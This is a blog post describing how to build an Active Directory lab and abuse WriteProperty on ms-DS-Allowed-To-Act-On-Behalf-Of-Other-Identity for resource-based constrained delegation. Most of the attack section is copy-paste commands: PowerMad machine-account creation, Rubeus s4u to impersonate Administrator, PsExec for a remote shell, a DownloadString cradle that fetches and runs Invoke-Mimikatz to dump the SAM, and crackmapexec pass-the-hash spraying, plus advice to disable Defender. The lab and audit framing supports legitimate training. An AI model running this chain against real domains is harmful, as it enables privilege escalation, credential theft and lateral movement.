Abusing WriteProperty ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity

Rich
7 min readOct 28, 2024

--

TL;DR how to setup a lab environment and abuse WriteProperty ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity to gain local admin on another domain workstation.

Background

I recently took a hands on exam that included a rather arcane attack vector; as part of a broader escalation path the student gained control of an account that held GenericWrite on another domain computer account. Luckily I had at least heard of this vector before so I knew what to Google. I found a writeup on the attacker TTP here. I was able to follow along well enough to pull the attack off, gain local admin, dump creds, move on along the escalation path, and in the end pass the exam.

I haven’t seen anything on Google state exactly how to set this up in the lab on purpose though. This is also important to know so you audit and ensure that a prior sysadmin didn’t get sloppy and set this up by accident. It took some trial and error, but I eventually got it.

To set the scene, we are using Mishky’s AD Range, available on our GitHub here. We added a second forest to it named Research.local. There is a user in the first forest who also has an account in Research.local and like many users is into ‘password reuse’. It is on the student to escalate their privileges in the first forest, compromise this user, and then pivot into Research.local.

The attacker has RDPed into the toehold system named Dave-PC in Research.local as Dave and is enumerating their privileges and attempting to move laterally into another domain workstation; Research-Client.

I won’t go into the background theory regarding Kerberos Resource-based Constrained Delegation, Red Team Notes already did that better than I could. I will just show how to setup a lab environment so that this attack is possible and then run the attack.

Spoiler Alert

If you plan on trying out Mishky’s AD Range, particularly the second forest we are testing out and adding shortly, then do NOT read this howto. This exercise was conducted as part of setting up, testing, and verifying the code that automates spinning up Research.local. All usernames and passwords shown are in those configs.

Setup

First, the attacker does NOT need GenericWrite, they only need WriteProperty on a specific attribute named ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity. This attribute has the GUID 3f78c3e5-f79a-46bd-a0b8–9d18116ddc79.

Invoke-Command -VMName "Research-DC" {Import-Module ActiveDirectory ; Set-Location AD: ; (Get-Acl (Get-ADComputer "Research-Client").DistinguishedName).Access | Where-Object {$_.IdentityReference -like "*Dave*"}} -Credential $CousinDomainAdminCredObject

They also need to be able to create new computer accounts. Although numerous things on Google stated that Domain Users can do this by default, I found that in practice I had to delegate Authenticated Users the CreateChild right on the Computers container.

Additionally the victim computer that the attacker is seeking to leverage this TTP against needs a couple SPNs set. By default our VM had SPNs for host, wsman, and termsrv. However the attack would not work until I manually set SPNs for cifs and http as well.

Invoke-Command -VMName "Research-DC" {(Get-ADComputer "Research-Client" -Properties *).ServicePrincipalNames} -Credential $CousinDomainAdminCredObject

I used the below snippet to delegate the rights and set the additional SPNs. This is an excerpt from the PS1s that configure Research-DC.

Import-Module ActiveDirectory
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName

#Give Dave WriteProperty 'ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity' on a given computer
$victim = (Get-ADComputer "cn=Research-Client,ou=PlaceHolder,$ADRoot" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser "Dave").SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"WriteProperty","ALLOW",([GUID]("3f78c3e5-f79a-46bd-a0b8–9d18116ddc79")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rules
Set-ACL $victim $acl

#Give a Dave the ability to create default computer accounts in AD
$victim = (Get-ADObject "cn=computers,$ADRoot" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser "Dave").SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"CreateChild","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rules
Set-ACL $victim $acl

This is a snippet from Create-Cousin.ps1 that spins up the Research.local forest. I ran it after creating the client VMs and domain joining them. The attack would not work at all until I manually added these SPNs to the target system.

Invoke-Command -VMName "Research-DC" {setspn -S CIFS/research-client.research.local research\research-client} -Credential $CousinDomainAdminCredObject
Invoke-Command -VMName "Research-DC" {setspn -S HTTP/research-client.research.local research\research-client} -Credential $CousinDomainAdminCredObject

Abuse the misconfiguration

This part is on Google in at least two places. I used the guide here during the exam. They did an excellent job of detailing the attack, however they did not explain the exact conditions required nor did they explain how to configure a lab environment for this attack.

I began by logging into the toehold system on the forest Research.local as Dave. An attacker would know this information by

  • Compromising Lab.local
  • Dumping all domain credentials
  • Abusing the trust relationship to enumerate users, groups, computers, etc in Research.local
  • Password spraying against Research.local
  • Finding a system that Dave can access via RDP
xfreerdp /v:192.168.0.147 /u:Dave /p:PasswordReuseIsFun\! /dynamic-resolution

The attacker would then turn off Defender and copy/paste some tools to the VM. Those tools are

  • PowerView.ps1
  • PowerMad.ps1
  • Rebeus.exe
  • PSTools (specifically PsExec.exe that’s included)
  • HFS.exe (optional, Kali can easily host files via HTTP as well)
  • Invoke-Mimikatz.ps1

The easy way to launch this attack is to run PowerShell_ISE and copy paste the below:

Set-Location C:\Users\Dave\Desktop
. .\Powermad-master\Powermad-master\Powermad.ps1
. .\PowerView.ps1
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer Research-Client -Server Research-DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

.\Rubeus.exe hash /password:Summer2018! /user:attackersystem /domain:research.local

Then run PowerShell and copy/paste the below.

Note that the rc4 value is attakersystem’s NTLM hash of the password ‘Summer2018!’

.\Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:http/research-client /altservice:cifs,host /ptt

.\PSTools\PsExec \\research-client PowerShell

#This gets us a shell on Research-Client. We are running HFS on Dave-PC & hosting Mimikatz :P

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.0.147/Invoke-Mimi.ps1')

Invoke-Mimi -Command '"token::elevate" "privilege::debug" "lsadump::sam"'

Further lateral movement

Let’s try password spraying the local admin’s NTLM we harvested from Research-Client.

crackmapexec smb 192.168.0.145–147 -u /home/kali/Range_Users.txt -H c1ac75d7914548d12bf34a7e3256b93f

Look at that, we gained access to another Domain User account named ADCS.Admin. Wonder if they can abuse AD CS and escalate to Domain Admin …

We will dive into that in the next howto. Stay tuned.

Summary

JMHO, but I don’t see this exact attack scenario being common in the wild. It requires that:

  • The attack have local admin on a domain workstation, or at least the ability to evade Defender long enough to run a bunch of attacker tools like Rebeus on it
  • The attacker has WriteProperty with GUID 3f78c3e5-f79a-46bd-a0b8–9d18116ddc79 on another system
  • The targeted system has specific SPNs set; http and cifs
  • The attacker has the ability to create domain computer accounts in AD

In practice normally helpdesk folks have rights like this, but they’d already have local admin on the domain clients anyway in order to do their day to day job. However it is important to make sure that they do NOT have Write rights on say, member servers, for example.

This is why Mishky’s audit tool look for WriteProperty, GenericWrite, etc.

Footnote

I will post the AD CS enumeration and abuse TTP later on and post the setup for Research.local to GitHub.

Research.local is an ‘expansion pack’ of sorts to Mishky’s AD Range. They can be used separately, or one can spin up both and follow the escalation path from LAN access to Enterprise Admin in Lab.local to Enterprise Admin in Research.local.

References

ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute: https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity

Abusing GenericWrite: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution

15 character limit: https://techcommunity.microsoft.com/t5/windows-server-for-it-pro/hostname-character-limit/m-p/1068231

setspn: https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/register-a-service-principal-name-for-kerberos-connections?view=sql-server-ver16

--

--

Rich
Rich

Written by Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.

No responses yet